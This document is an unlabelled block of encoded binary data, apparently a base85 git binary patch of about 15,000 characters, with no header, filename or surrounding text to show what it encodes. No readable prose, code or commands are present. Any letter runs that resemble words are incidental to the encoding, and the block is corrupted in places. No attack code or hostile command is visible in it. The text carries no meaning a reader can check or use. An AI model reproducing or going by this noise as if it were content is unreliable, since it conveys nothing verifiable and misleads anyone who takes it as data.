z1;U`}%dh|rFq)=IHg;Sr3@T*=>PXBEK8wgY@(^KADI-u8xJk@vYF-Cy!f%xDR2n{g z4Q$6J_E8_--dP*A2!l!)0lz|{y&o%(>{8ok-*~xjsFaiLPfR_HaYng^gUgeL3x`TM zfx2qi4Ys^?TYr16?vcWvQbr(6hGFxD`CA(Helj8)D&+*9C5^5(sN$usSQFhdugBA8 zNw*7=N}1_vC|hQw(OM*Vvh9s2|7(RsrL6QlE^TA8VD!aFVNoe7uudq}2gj1?%JDkk zQ7JD_jx+mK7It?q1?Og+O!{VoL8Xkee@D{Co4=8JcaIVVl`_tPooB|Lq zJe7uj80>p!dJPHJeogON#R6SS{-DubTE-_<0-2@#6POz9nJ15JyU`Lhm9l;MG;g$Q zY#p-}GLPEApi+kKQxkb)cWX0QWNqk5cq$D)1a?MW;>yRiHjKX~;i)t{*Sc*@=THCa zK{#?(giEE|bh+(-&y6>Fdz-A5GT-)l5}vAG_}T)BDHi@o5}r!K-y61_5%YNyKbk3P z_wP$MDh-#eD-4I-dr)8f{N5i(SSk&h9Vc(7**I^Ja8w#DJ5JLH%X5j(m9SJAHanlC ziIIGMfrO_TC_LU|(315Ee<!;VFUyN9A< zs#gnxN*U?CmkeH6|uV8hz9iwPG<+a!@i`GBPH!sMwV+(&%<}k#aH*7wX#1{T zNMkMY+rp&k%Z%GP+v&wdlUG>g&xJ{)%)p#btZWlVlkQ&%k4kxd%$6+EDeRcf?s#~$ zGS7u6%)4XJaNGA_QYm8y$Ji$)7*T`?e>VwFrQv-YO@w!Tg?(Fgcd;0SOCqro2?pr2 zWk^_5%JTQi6D&Kvh@mX!T;WhDCvfkI1BeG{(`CY3UM-;^lJ zP@at(f?v=#t`Z)V@_gT&;NiU$-c|Kkh^vJ`r3}ADAi+?Cv!N*AsWg1x9vJ<~ZWL-( zO&0g;!S1ZftMn?Hrn2y;l;^K46ZT}|9BWKiRLTnEx4r`+ZW~?8 z7ao=J^4qTz&g5T5SX9ay&@YO<-+8=nsFX8US=xE~WnoY$!`EjW|MGQHwc+{n%&3q5D#7-Pxi>dj@x{uEYhe|o2GUm-K!Zw>xiY=qR6b6+t0%a@+ zWQob=uSj?*4WEa~p6KGq_I0bwBaErjrJ25<=FaC!xsFV>XcaBX2;mhqe!k|({ zAfIjC%yt%&xkG!7$0V-3PN7m(px-fhlR%ktog^G8rL4ir&W?pD!l6=5upKgq^6w4kt}Io$X2W5o zZ(LYZ$_iaqrcpMZri4SKoX{8sjR@{PuUKztH@TTLo_<+gSwi9Y=YFfgq*7*J43mSj zHqHu5eZm*&B6H@UZDPG<6JtQDJ&{w`S&Cw{Mgiq%~;iC-`}_cPbs73 zVmlT*%3o{k#k+#B%a-3m`o+SgQg*=qjGcYZrfgm&Tq@-T#!mHdY~J9WLE)vmjKSU{ z94h4m=9%Icmw#^)29+`bZF(Ks)tH)VtHZ-gSH*Vt{lcMAPN*IvG2YicBpfQ`gzUkT zDh9mv))fbZeoXj9;ZP|jU{4C;?fJ5BsFV|^M|FVU`B8gJahY=euCS<-6}Bmk@-}^6 zI8@3R!3m|p$)}#bgJ<$@*RCtC#Jx#u4Rqy|b{AN_lIY4SA6uQ7sSI%-gs!VOWLI4d zxw}y8I*q;e+v~@%R2q-1TPL4-VV`)0Y&0{gi_IauA98_V4+)z}+1nBKDAI6lAGV}{ zFJ>9qj<=C6_f1Pi z{yDE;UR@@9D&;>4$F2{SPm5P5*ka%l(wdP;|htJO5-jg?qS4z zb!OVqap%?Dt0WF8jbj>dOa{v;9fwa}UWqY3ua@|zG`>+BD!=zyEf<}i8v%ZIgPxFZ$jdu()da^UPOEw2T7BUFT+8YrfG?TO5+%4+-7fu zn!LFM6Sj7Kh)OwFvQe0Yt$BThg50x^m!m)=Tf5vml5_SeXlk8n$AC%) z#`6dqyQ+^rM&ilvM4Lx-;ZrI9I`F6Z_)s=K&wFf~yCqI4jdRT9U7r6W`sm=ulX=&a zc&IdBXf*xzrwNK)s()j#%x|ZW_vG{_XXXDu~@la_zzRdcKdDH32 z^FkXZcl5Mv4VA_@=E`h#(6ss5pW%@#v&Tz3R2t6>IJT>gKgRMfBc43ZWZZas!=;f* z<9;QMy}VD{lBdI~W*)wao!1^7y=;1HqtorIE@0MisKdSC7BQ7^LG)@$2v;Ab>87na zD7I6n?N5X4Pl4@^$|)a-`A)Ds4S*!gVOnb*!8m3$4h%C;?es@O}V_WChhp1oDP zT%o;}?-<#);PWM?SvL9e42h3Q z&yo13G(LYVljoaR@r8Wr`4SJ6#*=?76HZqop1kJRl-r9WZYqs?5I-r7)DGKEULx^P zX?%nDNi@DZKY6*tL8WmF;wRBK2KAFyNqkfqpZAkij_+s17b(BkHScRB9x9Dz5I^Y? zPhUTIgTzgxafk0sHnBUiU30gHcMk0A_V)X^`d7#`1C_EqhC25Vw5561R2UD7&kf%9 zM^nEcI$|hpJhb(Shi%1wO+QXR3>!9W*mU_}4-rg#db8vcm8R`YNZT8bw*5K2a2KX6 zRDDbu-YRLJ(li9-_3iD2cu^b9tEHT&l=B|s#k-Ifd1H~gFfRtF<|aLFmwchp^xTT{ zyb0;K{{J6k>(i6fjF@!1OVUB5>39Xw@v=VkPb%LLjbo$r@W|@dd&PDtwf(8E{r6#e zFQ*LdMB8)g&j-XtDz)+Xu<^ODarv&X(fdK(5Zw5~hs9nhwRa=zy(E3_zCO}f(WjxX zr~eA~S#}GTIc|EL)O#xBJsroMiuC7=o9@Ii^63xOgO5qNsnpJQ!p^tD&b%@5|BLo1 zG~{QVe^SyyrD+ND&!HkT{&1_5ACsn!;xM~J=IK`@T~wN` zH{#gqk*=F^%I?V8up>!V$lL8)#n&VaRGNl&BMt9F8t(jY;*q4mdv{)Kvg!GINe`8# z=gmmZ8&pIzVkec_`3@X^8|vPj zKc>#%Ez#)2BSWKITgQJP z@lk1ffpw|%QoFm9oQ~S+eCFLU-lbC32##}&-cxe=(3tJP8gFgBU2LY(cm}zr7>h^p zC}#rOrR_f?PAZM_0vtateQlSKP1g4JNgh!tXAB(Pi_e?m%(OkD2GfszBlc2hJcHbu z>=#eoAdzwZkHk%-aUZ>T$(Y55+jvBBFfV1c{QghUMx|-<^O8@^@$n-YCmvDSf;EWc zvu2;acTA;eIC}GmN0f$vYA4fkjHHK3({n419i92aJCvS?zsYS0(@z~Q>7ded9OnEH zo?Wuf2!2G`8Y<--{WSuy{E?0?lJMM$#xgxg@`6fje;ST)jliRG>e(F|*TroQRV3PY zcd?O5Z9KfWBKv&Ur=+Z?l=T9{b9C1m#M3)SrDNLHOWLW_-lM+ps~nX=KX!dUMjWMKPQlP4Z#@e zn>KBhx-5>FKc2m>#7U)bR$$K<+Kp%Cv>T~7LzUm9?*S4QmBuxT<2A&UckP*qOVZbW zEP9T_OQrE%i+C#oj3G1gHKPKt49}Ces5GuRjy)Q2<<0j6(-?^>uOndm7fSq88vmzo z>=S+BKl1TbEQb!a4iA_*TSp!&>7&y0y%p)Z73q6!j=$c;=?m5dmeVDY4k}H@2XO3t zNJm~>xQo*&km6Bd6we!U|_M$#@^Uk(&kjh7!A0akVsm-_G z*fU}CEAPU*^)^R*OezFz-6pnDsjctDv3JAPym8L|tF|vRieh?7k{&8e&kJ$v`F+xJ z)chr6Fl?gDqhd3a+C0ep>uTw+hM6Y5io{2y@%j7Lx$ATz@#WRqafyRU;~3=rb!M7! zhL+63DT$9tDO3@eFeRx=%cL!%0(avl2Iz#(nheUq>yz16^=V z%2;;SOS-5uU7=_8x%r~qrf8}+&$qmr9b9Z(`nvRMRLb)A!k?Ja_8wV#b|iTesyQ|d zH%NX^X&R2+z3?MRgYQ}T-wS_?q=!n=a~{h6-1L|wRlGRO`2V-1Y^juU^zNzOk$g$F zAoTTy!UBqkm65 zX5&DWgZ4g7?4?qBkN!RNOncK#>+0Tu*h!^!9=&_&QTq{3=tuS)`ku6#RLU4^e7RMst~hm{@$3PynM&gu zY<#Klg(^DpWmV#!(l`S9>}j?*fBu2w36+K)Y<#LVN}lu?pFTnCrPBB=gFRc)ePDfO zqqRKR?Zqc#_$KDvjk*0xx;NL4Bpp=B9cZHKgR`}V z`p4_VRw}jCj~BA%l}FtG=gKR~W;gz7vonvqKRbJ;8+b1$Hbv~a5hCM$lf+G>ar-rv zw`TT%ec}$*UfagMMdGB=I3EprZV29|=o6=;H)n9^{QPYaKb6K`!}047|J#ow%|8B& z+Qoc+r^HF6abj^{p@}%N@2?M-=1815LmpEv-XnHUsU5pu$IjrKf6|UoywtbU#ak}t zxH+^>deF(iW*)p>;-=EL{dL6q2g>(&+#y$Ed>@kds5HJCaqLk8`&m3bNo$UqG478_ z+*BI3UlWskA9%2Qjudz7{?sQVPAZLa5A2yA*vGQd8;LW|#Y{PWTI`@wJNzDSgSBV0 zL-V6wW5zuH6N#5fXxK z=USCG_L$La9TEYj53-?U#^>*c>hk~rP6r)8n|~I zP8xmV9dQxgfYKknDREJ0T={F@`lK-uSB^WHw0=k8r_%U0!nUk^1@IzSzC_kmYPX3x zr@fZ27>VimFY!q#pV(loxu22%DFu8l1}=>vzJUQr7u6{-AXGl}0(v zTD-i-?g2=poO5yffoV>3zxkbh&DOEPpi;&V7#Z)bitIIS-|=*Ugs0N*1K3dXHr!1Z zRLbaYgI!mCiiD@q@RuSD56Q>}WGLS2-B@Wam)mW-@jW&$YtnU0S)VFAD&+;%yoYdx zb-J*qlocrJdU1X}Vw8P(I{o?H!l6=5AfFQ$o368jL8Xkq{Z-y0u&=H$cM6z0mUBPh zP$?&HuOW_cj3HrADT8$+<2~x>d2Z7K#V5L%Pv;7kO1Xjey`<)V<5-*C^My&J%s^j> z_q#204>VK7X#C+KVNoe7;16k(%fAi6p;At;y*#)u(lM{yZm;x)oBOad0xu+-?;dpT zle$!RRLTprmmwU?GwIwcJSyc~fa4j@67v0D(G2739t`I);ZP~(LExN|uG>kBVO${$ zDrJP$xF#NKw8KT$He4kvDrH>=dotElW}%EtR||(qIhTO5A)T&z`QSoji5HpOr53L{ zZDG!vN=d&j3Xe*8fiwniHqXn#qUy_{ZPuKKeZDQdMp#tJ3glN7%H-FCaHy0spg-}o zX@)Z`94h4u=1;c2sR@Hh8G-vue9!I3fo5lU=e}mgw^-FC-bmB2H|SV?JA_H4%s?NO zgS6?~B|IwS1=>MVhKH6hjW&u2v?gBe(=D}Iu({Z4HhkXg7ABQ418ok=GK4f`(G(t) z^6Y-#srP=PU2Qk0a-UmQiZb!IO$_@D;2M0RH zSe0?te+Qm2v|0p^tgiwxwwru?iSVeD z7Z?L(;!s3}^>SfRDJ!(bW3<<7x=Y+pb{g)hgiEE|K);lab+*1%m{iKl$w&BkI3M32 zJSydd^D&L{`S@mGQ7J1>r|UDl)#P(7zB@Lvf$TTlDoiS62KwO~q%G^W3y(^94?tY^ z!#Gdh4{qLpT*Aa}^AO(3+gY*U-zDLx(&1C@!8^Dx+Fn`Ow+)>#)AIodPo?28@lZG` zJ2G zTgw>am>CJn{AXcODKpSdgpsg;e(^)$Q7JDppOv_fF-5!8v3@2jDrE)w=nRy#=@-JG zQqBu531G`i+FA((s{n6`6#_#b)?;>p*k5hu4%g58AwswEh1lTq@-T$}<;> zq!?R|!2(1(cSohn{%PG}!rx26Q)&48cG;#CZw_48-D$Mik$WKb5gwKDa@*wu&Zq6Z z!lLTS;`NcvmHI}*<~z#qsgsVu|-H*!Gl!N2NSJM$O^jU99zq;$(4bq-t5C!lF`Ex?EGXl`FO4@c2l* zeEkkP7Ox14N?E>d$+2reO^Ql=l{4$9nKtQJc%Bh^Z6rc$ce zv`-0}O4(k@2W0gr{hq3#5;ZiAg7{|Be+YK&?ZE~bE zQ;!zq)MUN3eRifiwR6(Naf8G`rEzS-@xk(DrdpgtWaW|i)a3ZCy7@XfRh_7rG(1N5 zRLb{rEO~ju_iopRE0g8==y-9=@*2XUIxOCFu~wVeUY(j9+g_i5y~e(I;ZZ3s)W@

@AL*2q^+MXuXzrdJ-BQO)x$6!L z{_N(;G(H)|ygR;dBkx{WpWocWu`_I!s|V`IwaxLl1o|T{Yvwr9z5&x&6{SP`E1Gd{ zBV5J3j7Fx(nwQV3OlP2f`BRQJQ;wd%c-IWmvYfXx z%iKD8hiG2C0N!tDmNBv+!#M<|c|UaGKs`+2`~;*Sd=I86altNoNNGQf0y6M^;^<(l#pw(t2T_@h-=%`XJVa$Ynu(Ae-IcXT@YSJlZ@SCc&~bv3 zTPH>wWk++F%MbTIO=12@xa^+Rx!&UiryZ(H(X-)g9~#r|f|tAeX2wGI!g0&-7Ug?_ z;5q4rFYGi^!cTO0y7@9$$Z_$T1XF{~AOQgR OZx>C+u(8=SY|#(tKEKGvPh+b0e| zC3G|&()m2?!^G^=aJ^dRJ-zsZEyR7vw;kI@_E=qU9_DL4t{t}~XHRZ7 z7|s8BYUm{0@ur2}Ll%Hq3p= zA#Ton4}V|8V_g1FWwM8!@Aj=cag39PV_Xb0W9gVzn9jp-PxOhWHU#$py-6-J@Ut4& zG{PPMJHEd}XT-TF(lt5tkh*3Xq>}Sns4pueEc**Wf83REwu?QF+vRQCZs@*bF4x+tl|Fo3?OIVLs+H|(T<7)Je&Nkw6*ICK?t5d`_F0bQ;rP$N ziUR8o@BL%=gfPxJu`}#@P7Gn|g?H|Ke+bH9KkTu}WN;zgvHvggTZZB}hc|6}$S$|3 zX1aJO)<1WxTN{3#ux{;nYtLK1aot)xcTKyacIpSmXC|j64x&cgp4~Oz@1gj67no#S zor8DUnwDs@-1j;SFYQ;Vq@uc_LRCS99xp+qF6dyv9^Wh!SH*|=o_9#pd20r^0|G32LOwAVXpHZ)^FVZ zGIIXNx^+-&%yln0Z8P$HB>p}ETXa-)k@bSFJTW-gK01QqXsB0=*NC|#__PvcoF?q$ z86Sy!PQsQ4?R^8KVeVUY2<`KUYr(hj)5G!j*pDI~;^8}MX2>x#6xZn_?ZTswul?|y z0#)Le>XT)=Sj%>~-2K|nvI$|+$yU5m53_Bj%cnNbRxQ_h2deGR1lxg}jS_vlMCHeO ziqThMvJ1N@P!`IM<;OmE0ribWb2v_p4qh9BsypOe&Kdu^U9I#m|)wL_h};OdZTm<}N2&R$n?(adv{h8G7(+U$1gxBd2gSnc8~1MHI-A7Tok_=|$xtoVq- zy3UIK7>!S!PD32(ntjvBylTLw(-ne#FCFtgigc(i9_=4&(=^bFkT>4bwmnSKAhIwW z-wF5{Fa2dX=^v}<>cOdQ}FtbaakHgdIfO(O|AYdjt-s@`oW#KGuyQl36 zr8|V@JJFt!_ZId54tGDm_qWGM?5>7wW&LV{?elHhQP@t%a7Y zcy~Hh5TC=nI~)G5z**fe-c#^LeY*xv{wROKkIqGP{WOG=X{akt57RVA8q<|$0?zs~ zT{)VQ{#lwnO*^eC&p=%2%Cq(P96XIz=0zIM1I)@qT`~T$aF(~}%JY@(3-IhwU7_BY zt~?d*=O83@e|lK#@^b-mb*u5_crxopozILKaSO3h9`fWnd5b5=|Ur$9InI> z;yb;wIqU;=Y^e-(_Ex(~{h`?p$1EPMdj9$?=dW)&e|_ov^@II8`^sJT9?r%udGX{s zX3ys5#T%&fxHExZ>+|B&EY9NWI1y9Y$1KT-=a_P3T$&R{7*aa;t}BbDL19Sa92bwX zZsV498{5`xEUnuZvBiFGS$@2jtd7r*H_(I1GMU1!_j&X44P|;lew><5>%@8Dne3b6 zaYQGg5;~dUn{l5f7sr)O`u>x$@WQQ2e{vRHgzfOBr0|<|tltoEK{?|)b&rP*sH`wB zSd*xdnecLIEFN@R>Vm)olBI5C}jz&vpV zYt=1nn&0U;@l2N(KsWH7yXY)aXC|q;QemKQx7t1}6NT8^^8Ru*Fjn zwRaDT#pyuv6M><94Tg5-yjYxS7-xq^j{5!ZSUkTeqg^?2!WX{vOz3Y^)1 zt|+AW$TTiYcTpVY)soZmMwH{$ z9QTMVk7#>D`GUdPR-8lAQQpyKeP>5J9_-;@8~^9BalDsfakgx#Zh}s>#p86w;&FYxtiTM~ak^@5UVpw`*; zcpRuzm3^&aK;!Jlhy&Xgi?cHpC-e^ncT@-4Dy7;W9Ew={%VP1V&XRA;Uw>?N9HHa) z-@7v6C2jZPvg4#^T^^6uzHw_*S+q-oY5YLvx{cD0U6IDs3^$a(T^NxS-P)bPJ8?13 z;cQ$?cSmAzN;?O(IU8G#!FO(0hkak9xhDzV=-_)}@Sbh!u6SYmLrm60UTv zjKMdoUpv^_S9;7q*=*YW7=Gu#PR(a54qtEi97w`7pYa$R{9^wa`JITtOO*{99DFhc zuapdaRSe#@$@rX#!AqNf5&F|Hc-w|88>$;h>Redbr^Mp)tzWBY|1}2R7Q(NI!#7y` z560lNQg>e$miju&<&L&e`=x{3l^*={nSfn?@S%m$^vP*~oIkJtIlS7JWEi>OnYk$Z$e{$2Otn)b-yy`%gLa)^iVaX#Z! z$p6*&<35GgV$Q|ZsRHahw{<_aZq+?HDND@mdsDY&RpM=QauNj7k=F76`xZf-b!=;f zEr~TloF|@IGh8{(n&B#M&5-jZm{Tdd26@>JV+&ami%*ZplzJ9I=1o}k>p+8ZIct{5 zJXy;t@NV;Guf;p(b>>^w>c@wOShK`rc(f!I!jKE+#;#X7d?$UILq7S0pF!`Z^kog9`FXhlkk#H#;QR5%awq2kKL9v? z$1oSTz9VNYP!Xcj+3TocU7S($XwbrVKuK@kTd{2i?)#N+oxd^A^N=wXU_J%3!4E6{ zjIDEP9!b~!vhul??b$Fsub&uKdv+Um`Uw6`1y7%y*Pd;y%ds44r<^@Y+qmU8D=ul{ zaL!!J#(fC+VGje2kQ&4BHkg?9Y~QMc?JH*3KAek`yI%r#AcXrRs3%ah!pA(hV~p?H zzGKo8>hA5JLEZhc+P)9s-E79k@lHKH2HS_ly;S>HZ|Ab!p>${)NS`##_I(Orvo(zO zN&M0FeHu^xn1=A9b5WYlAe>A?+xOWpO@pMda(o`}HD3BJP^`{k%1Iy3)WBr=#`vk(Yec!_EQsMh5 z3(5m?lzw|Yrn0j>egGP*kFQ95G_?E|-mM+{5bvy;V`$G(|=zj}YF1zrWy*3+IxmGXAaC2{-O^5USC|71zH)`@met8T-6QOS)i9NWqs z%>-UIxX9SFz&4h^hhqnw>s&NnoKm$~+Udr*jrs9lKiyap>zsM{t?%$?VVyHSUbkDL z#X9GFaU3FqIH~r8{E~5^nsE79UF62|%4v0x z6F1(r^7Br&uleHoZEXH{v3j;T$>BBL*7E7b+uQu{V)?szOy-`|o|190+EX%4REtr2 z%8e7_%hh2{+*o_cjT58i+EZ@aM0=Vio}=our<}O4_LLLHYfoY)u{S;5GpYO-&&yZr zWGZfGDX|}I>8THcZ^%864Y=$qWmV~?$=3n#?9ff#RlV1~5eSFYvX8O=J{IBc5%8CC z<{G3Accma-ZVn&;6n}kp%wLx)kIQ3qIk-36D<1?3(vK0%zi;IEcZ#wzLg~ZfE)Pe- zOL{~_(1{K)(9%KPQueSvWnco*eNRGP~r z#GoAUdONmqSlMt!HLtdI6Ds`9!7H~v&q7{VZzp=?#$F^(&LKys(uWxEN*Oe(3`Q2N zKg^xP)d8hcg(y} z2KP}JOhE?o*&LB)cP*<19Ta7^bNO8x92lRSu8(w%*2hK$dnRUZ-|yc32^{#+5@Ap^Up9|jS`^L!Vh4qxIL6jiGrF1dBP2t|QaPE@%7f_zlz4F9# z(a&Rn{8_dKYS~`2aJzEjfjCVEOO@r=?1|aM)!Aj4H$U=zrt*IE!aBuXJFQa&{X6-$ z`SY{0`8Voui5V1mvJ4N_GR!TkTaq%=pA4!Y4z%wD`wpL*YS+n6XTp9>?z(QD-OaO3 zsEf4kYrOJ%_Te7!OIbWrW$`q~q7Ah3<{!+vN>r#1h6H%WlRuZ3?VIHJAa)M}`QW#E z=XqsZu6>xFp;sL~SomPs9uLB)@~L9 zj&C%>a~IhcA1APAg^REg;xMT}TgN!b$H8xB{8QtwSp56OapIRV%>$Bfmr8Wx3?B!- zoADpy!>BvzFFYg(_vk!KaIU;%oQul&D2T4G4siR~H>CgQd=%?vJ?PRud^s|~Txd&x zu+3L)z&q#Avd=|yGkiEc0B5S&7bdJf(TF^x=tcJ3LM};y0)vufa~{5R*CXm zN(bOxjmS4CTLDYX-!{oNDR;{~PF#zwAP#?*;A!)>d38$tyA<)Lf1l8K+l>gjdM$`9 zx_9^8Q4eq?Q^xDYAM3amPyQ%3!jH~Hb^I8FlWADT)i6ziq_H~g2b^*@y&A|#zfIGp zX{YDtYlzD_-mcFbcp9(Fi!?3+%*w<%HvY13mbcaMW0meMJTHUo=l7=67yIt05AQ{U z{O^u-0+!cEX*W4v|2V`+*7tEz-+la!U-lkcF8Sc@PCTu?{~nt_UAO`?s0&9=bn;>S zE}M(y@Y&`s0Bkq@D3|0M{xIPDT|Q4A%3XJu#K)GXQoCHFl{JZ4bJuKK^?e}ZY(xCh43s0Ulb6i%+2gYI@bNW;aJT#PI8i?I8&Ynfl@#B zhW|qz=>J@)Iz_#T`#-K59^opZ~H*#Lp~L-SK*IxN&1kl2An_a@yzY7tK}Z<1L-eSx0L$_ zvmD5r7~pYt!gs9pFYG(U<7E4e@i^!qGknLKIMQt-eaFnW3Ewd%PK=(ddFI4Tt$F6g zb5vt%o|$pgALYI@`lHvOKAlyI#ik)Me>8?b6^TFk??^{IdgHPAqoCp0Ms-pF1i8EK ziqA=A&&ST z`FoS{cRKhxR(~~%qVtm+ulKf}bfZ@`&rb^1Cl}&}<$SA_^UQ_o0sdEtqJu&67OIDv zJYKzen3pE`dx!G3X5o4W{lhFS|C#l0vsX5+9*&tGmh;_O&J8H%d}C7R{`wBAKV_8B zK~Wcf&)VHBUKwKbvp`Kpuia&rz^|wHK7f0+c6X~+9VQ)Hu8Za+@+GWkq`Sg^w0FIBAkK>)bV0L?Oo@|wuJ5TlV3g4N;fFp@Qj_#c7 zJCrW{apuQ7Y`pO)gw4Nayiekfhnu@8n4WYG`<3um5JjG<1Y(mdE0p7t4jB4cy5F4 zC+Dp11iTo;#~WV;ET@)atnqc=^TryibFNQ(19ABKCZ0CdNLH*UTXsfL=WM&*LVD_1 z6VJs&9kO0o@BTRB6M%gOf0RdZobg@2`I~Q?(NXT}-#S?9FZZ-px-!QZIWfTH{SxDh zj@rWGjCdSaUvCUybJRI;#C+Qr!tIk?H<%e$#}L+^<;026b94jqm8*Ajy?5;Vg z*jE?LSAQS%;Km2BR8#>QAH)z4t&9(TfOM??S7Lmy@Z2s)coqzjg+B-wh%Mx!{YdqM zx?(a5)928ne*U-e_rQ~m-B-@y()G)Z*L&Mn{)tyMuip%P<%RfRIe)6t(1q(E^i8w4{Abp~-Co(edN^i&Sk7N-IoG0`$Koqz zlo4Jnps0(#$5;NHSB6;qII8iMBHp^oi@g6{dA|_6XZr@uLd5;i>=O9(^pE(;fAq?e z?JF;wKg;$fE!#yX+ZX5YF=@}Td`zy{*q$J+;rtNsmIrbF@_*v6n7{aQAE*B1U2#|} z{%_;B(7*iOBwYPV_Me>V`3vy&v;8qSy`!fKIWeGvl-*xJlQzBr+0mE$FNDqKqI1Ij zK3iX$^B`Yn)@JJC!=qyfUowe8j?R}XC|&v#%#V4PFWCs3`EHE22!He?7vsqv(-3}i zE=sc$;ba>6l1+f~$8s@^m1`N^*UUxfk4HEw{c^zhOXJeM6C6g5^ z%9fpx)H(I+G^D4V{Ydnz(879MHW&9L8vt90KguKNOWqf7{<7Cnob9Ug^bPb6;;dAB zaEJ?4;@3!|k;2<0uowP52N$gmQ{UUlRTx8ep+J0}LlmddgIgkc?An1I_*?~@lU-Fb zpUcH=?<&=5mCj0gsUK&4Q)1?NW#PdZ_DxW34*(s?Z4-R3cdBhWi2IXx^6~*(Q8zj) z*XxFRIB|D@!ri6gv}YV|!@kA#BGTq94=Ur6vomtrnyp>8;3lBay|@mQw>)^?bdZk~ zQT+C?q3LPzXz5l0H$5{n?(PSKL71%a_B!1|6BHhZ^!CHKm$C-uN`BAki!v#K7G=^3 znXql&A7N|TtMN{~%I=??l1iz&hK@|k&UmWpK_Py&-LsUIy&nZ#vr}gSXLf<{9)v&I zoCo8{ANeBO_<9K5*UUxf*C3pg{-J>Lm&T=S&N)SAbI#T0!|*g-nHOn19I%i-*c{_8 z3uk$o%~`8-*Wt-|B#vKgUmefzJ`eD;MBSR$df<|_WhwVn_1T>vXBW;#9R4;GBirKD zLT=qq2QEMw>cCrZ(+bN>`7fJenHx@C90b9c2vf&-@55?5FGQGSj@y;R!6v}@%ifdh zN+-(B`#gtmsYP>{r}aW?;e3r_}yXuBdr!@6laIgk!$J;Fx4O9G*?n6!7TycwF2; zGa->@;(MP-rzL0`n#Ki}KHk6Yj&X2C72>F$2Kh&}h;Vn-i`|RGbuyg!fGeeEaAn}# zVwa!`g|;FP`YWnk$|$|mlCxSFSjdJt*qH1@mQIq*24W=_~yp<1Y(md7Dk@M_SI=4dD6OgiYeT1FeATUSGd` z%AEvTfWyDgM`HX60B1RvDXw&=hC9dMsJsHF-K!#vXBjM=od2*5xTM{)Gwo>;c+bdo z#Nls8F|vEYY)C0#WDKr)wiD@S`<||P#&*AKF7l=5AFzEq7I4axHjj3R_Jil!@4}P6 z(_t%@;A!!h#{RO?E(tC#A`*VAQ_?&-7wOLx2%C;re$>Aq!1<&85pMc7jCbmUwT}^m zv(ncA=P!**>)-C8(~mv++>592%DhNp6tIv#=-&{+{AJ-RZ_~dki;n(&JfD=Ie~$y) z*FUQ|`byNPLE!OEEm6GIsayMi^mNO59r4%4fJ^F@?Nz33H9@xykT`zh#e{AdrG#oJ z7@Fn$%?YHVZaor(n6D4pR-c-wA9lN-y)MiL3r))YD$rau=jws)N9Eo1Vbcg(y%INt zKkCd3p8Qc~2sfQMhC7R7v(g_1oWC?KtuwPlSEonxc{QHKH}fKmCjb`m2c0qg zvT&BS>C6+A?vwD$@}nLPxT|wteC|G!Cj*zPbMvEEKTA;ObBM#=zZ9c7k5P*1+y{qs z{uHERoqzijS8mn;>+3YwhsGfCp=dv@!5_;^n-blb(HJ}xaQ?FQEV$BbsZSiJ&rBUj zX-ymv>dn)Ojt|xa-+jG#Cc;*?#61Il)SIJt@<+WP-1O$zc=z?@IS6N^e=gwsrEzJ! zc~;Ts&GYp6d_0X;=0zGW1T5qadSm=$;Vf^{n-?kFYw_fM@1+0z0>CpR3tPi|X)gvo zPj^^P)SZ_g4u3B#M!FNP4zG2`5uyIP3~8x9# zP?;;Zkp16zUbS8f>fwG>Weh!tL4I|o=a^-og~yjbcIF#m+&lv(@PLh7+4n_b=J;3| z_o$}E(nYYe95jZeX4)qXOiql~aWS)wgNZu*6 z>d(Hh%qq;Wl$CzyYl^NuE=S{KJ9st1)(-w1@2nf@=>@1WzOO+$KQ4&c`D+np7U9?F zlkaT%*>!hZa6NGR%{S)m8$DbfOEr8Cikc!%Zzx9m@%`u=d3Alo4G3GiB<_v)W1D{y zp8T<_gj-qPg7-CZQTiJZ&PxAQ!1+t#(ry0DMc3xvrq8$IX?!y;(s&18A%AG|#$OiB z^0qerPNn-UJhS?Wn*euh-jf~rZnpQEfy-;}tQ)rXcOwpe?5G|Btru>)9Ww-P90mt$t+xhze=Wjk;**ZIxR+R`SZJPPtT6Fo_`_Vb_<#gpk zz*&7V-UsnVUHLGc{83j3H(mJ%-dTT^{-X$IrT-Y<{H1YeUAe93bmew^{s*4MtLe%o z01Nqpt{8u$pTt?-rYmPLCI$yr zl>Lv3jt6`9b>=6)S-mpe|KN{0^HV(eqs|a+I`eb9`#SRrgtOBB5^(;~xU|mvtmt&+ zSNgmQPvez&k;bn93;Bc27=Kwf%iDD3H%j-ncxLI$-GDotiAhi9LVgF_LOSz%#NqD` z#Yku3lp>{x!BIc7GyjWp)R_xTbLD0oESt;LnLh!?GADKB&w%rn#zk|f+5MICOL4b& zPwM>J2q^k}**t!2e79ee(DV25q6qEN3vLa|odbw-vxJ|^%GF+X{-y0}a`4`sGW-Sq zds_#uRoe&Kd%Jq8az3H$FL1a@&o&&$;p1(;Qk1sT)wi`IX>E^EJZ*$`XDJ$=Sf}eB zbV&3~m1_XRuK9t%sZ}c#FgZ%(v2wFVl7)^yll7-Bvm}XP(sk8?O3d3JYi`N zd{oDXGhzwa#;`@UJU+C0%+52RJTOk28Wxm0GlwwfYJGaf0XfDb&E7*i{GSW{**E{K z81>C30>^$M+s?ZlPHF=~f2?aqol*ppeAxH4C@sD-57IS1@nqoG&!8*;683qeVch7#9h=71ozkHDm;x> z=0zH(17>C7x{mReg|ocP&v>BHE#g^)F8Om^oHt(q_$tW9Ki}g4fTd~%I>hnK8Neld z4?D+&byGs0)%k7bYh8-?J( zfb%!s`fPmHRzkPaNYTCIUKST^d$rPEhPkX=Iw&qdd@oBXPN}Pl_Oa93%d!Uix|WuV z?c3KR4lIEVW%W>`r>vHtFF8^7Y+GN_-rL<*s#a>a#Hpu@EjMQGtv~Vb;T_1f_u9ji zA2U!AzS&n;KjPt;cF;wN_a|PQE!A?V9~?-3V?K7=Kwf%iH{oOOk*ZhE^+@4R=hU-4q^F);EqYdHVZE~6 z&Hs2L!d3iH7D@l31~`A&Yqic!R7AMaJAn5%iVjx*L76+g&jNxI8F6%3qH!PG}#!AC`_ZO!MUi~Q6&|J*h z`yHFWgL<8|NEjBAj8D>kVz|WNzOymdWB+g-N0w(rXDu!n%WEn~&WNZn1`8K!@@ zI5kx&dv!74xEpC^Y`Qol7pcW?%S{dolJjHGr7(hpCED+!ogI%f-6?4SA$V4}+>Tk3 zSbm}fB9UqLPk{{P`*&O)ZV=yE4-Mfr%RsVS+mhRtpPDX|i#Ha^@!B;Z@@dLZY=;FuUjVoOU@zNpDP2O zR<|<0*`J#N4WDVewQh~&s#mkdFwVYaz)Sl&AC)H4gn7z5*Lw9jeDB8}(;;539srzA 